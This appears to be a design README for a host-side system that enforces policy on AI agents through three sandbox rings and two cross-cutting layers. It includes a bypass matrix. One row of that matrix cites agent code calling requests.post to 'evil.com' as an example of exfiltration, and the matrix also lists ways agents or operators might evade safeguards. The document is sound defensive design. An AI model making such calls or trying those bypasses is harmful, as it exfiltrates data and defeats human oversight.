Q9 — How do we enforce policy on the host?
Q9 — How do we enforce policy on the host?
Section titled “Q9 — How do we enforce policy on the host?”The 5 enforcement positions: 3 rings + 2 cross-cutting layers. Per ADR 0001 and governed-agents.md §9. One Compiled Policy is rendered into native config for each position by a per-target Provider. Bypassing any one position still hits the next.
This folder holds one component file per ring (with two pointers for the cross-cutting layers, since the MCP Broker delegates its content to q03-interactions-we-govern/). Read this README first to understand the model; then dive into the individual files for what each position is responsible for.
Why 5 positions, not 1
Section titled “Why 5 positions, not 1”A single chokepoint catches a single class of bypass. Defense in depth catches different classes at different positions — even when an attacker compromises the upper positions, the lower ones still hold.
LLM compromised? ──────────┐ ▼ stopped at LLM Gateway Tool call hallucinated? ──────┐ ▼ stopped at MCP Broker Agent runs code? ───────────┐ ▼ stopped at Interpreter ring + Kernel ring egress Harness profile patched? ──────┐ ▼ stopped at Kernel ring All upper positions compromised? ────┐ ▼ Kernel ring egress allowlist blocks the network call entirelyPitch: we don't trust the agent to call us correctly — we make it physically impossible to call anyone else.
The 5 enforcement positions — 3 rings + 2 cross-cutting layers
Section titled “The 5 enforcement positions — 3 rings + 2 cross-cutting layers”Three rings sit inside the agent's process. Each ring's enforcement depends on what the surrounding sandbox supports.
| Ring | Plain-English name | What it isolates | Status |
|---|---|---|---|
| Ring 1 — Harness | Agent runtime config | What the agent's framework will attempt (PreToolUse hooks, allow/deny lists) | concept — ring-harness.md |
| Ring 2 — Kernel | OS sandbox rules | What the agent's process can touch (filesystem, network egress, syscalls, credentials) | concept — ring-kernel.md |
| Ring 3 — Interpreter | Code execution rules | What code the agent writes can do (imports, binaries, executor network) | concept — ring-interpreter.md |
Two cross-cutting layers sit between processes. Always compulsory, always reachable, no runtime-specific cooperation needed.
| Cross-cutting layer | What it isolates | Status |
|---|---|---|
| LLM Gateway | Every prompt + completion (PII / secret / exfil / no-train / budget / capability scope) | shipped (tappass/gateway/) — see cross-cutting-llm-gateway.md |
| MCP Broker | Every tool call (outbound + inbound) at the MCP wire format — schema ACLs, capability tokens, loop guard | partial — see cross-cutting-mcp-broker.md (components live in q03-interactions-we-govern/) |
The bypass matrix — which position catches what
Section titled “The bypass matrix — which position catches what”| Bypass attempt | Position that catches it |
|---|---|
| LLM hallucinates a forbidden tool call | LLM Gateway — capability token rejects the emission before it leaves the proxy |
| LLM emits something the gateway missed | MCP Broker — pipeline rejects on tool args at the broker |
Agent code tries requests.post("evil.com/...") directly | Interpreter ring (denied import) and Kernel ring (egress denied) |
| Operator runs the agent without applying the harness profile | Harness ring — runtime refuses to start under enforced policies |
| Operator patches the harness to bypass its hook | Kernel ring — egress allowlist still blocks anything not *.tappass.ai |
Where the per-position config comes from
Section titled “Where the per-position config comes from”All five positions are renderings of one Compiled Policy through per-target Providers. The Compiled Policy is organized by aspect (network / filesystem / tools / interpreter / budget / compliance) per ADR 0003; each provider chooses which aspects it consumes.
Operator authors Policy │ ▼Policy compiler (Q10 component) — emits Compiled Policy by aspect │ ▼Compiled Policy: a single canonical artifact (network / filesystem / tools / interpreter / budget / compliance_tags) │ ▼Live policy push channel (Q12 component) │ ▼Host runtime CLI receives, runs each provider's apply path: • Kernel-ring provider (openshell / nono / sandbox-exec) → kernel rules • Harness-ring provider (claude-code / codex / cursor / …) → settings.json (or equivalent) • Interpreter-ring provider (monty / v8-isolate) → executor profile • mcp-broker provider → broker config + capability tokens • llm-gateway-* provider → gateway base_url + capability tokens (shipped)Each ring's component file in this folder describes the applier — what tappass-host does to that ring when a new Compiled Policy arrives.
Components in this folder
Section titled “Components in this folder”- ring-kernel.md — Network egress allowlist, Landlock filesystem rules, credential hiding. The deepest ring; nothing escapes it.
- ring-harness.md — Settings-file-style config that the agent's runtime obeys (Claude Code-style
settings.jsonhooks, allow/deny lists). - ring-interpreter.md — Allowed/denied imports, executor network, restricted binaries when the agent runs code.
- cross-cutting-mcp-broker.md — Pointer file. The MCP Broker's enforcement components live in
q03-interactions-we-govern/. - cross-cutting-llm-gateway.md — Pointer file. The LLM Gateway is shipped today as
tappass/gateway/; this file documents how it consumes the Compiled Policy.
Coordination
Section titled “Coordination”All three ring-applier components share a single owner (platform) in this concept and depend on the host runtime CLI (q14-three-clis/host-runtime-cli.md) — the host CLI is what actually invokes each ring's applier in sequence at sandbox start (and on every sync push). The cross-cutting providers (mcp-broker, llm-gateway-*) run server-side and apply differently — token rotation rather than file rewrite.
Subagents owning different rings should coordinate on:
- The shape of the Compiled Policy (defined by the policy-to-sandbox-config-builder)
- The order of ring application at sandbox start (kernel → interpreter → harness; cross-cutting layers apply server-side and are independent)
- Failure semantics when one ring fails to apply (lean: fail-closed; sandbox does not start)
Out of scope here
Section titled “Out of scope here”- The Policy authoring itself (Q4) — we receive a derived Compiled Policy; we don't choose what's in it.
- The transport that delivers updates (Q12) — we apply what arrives; we don't fetch.
- The privilege boundary between host and agent (Q13) — we run as the privileged daemon; the agent runs unprivileged. That's an architectural property, not a per-ring concern.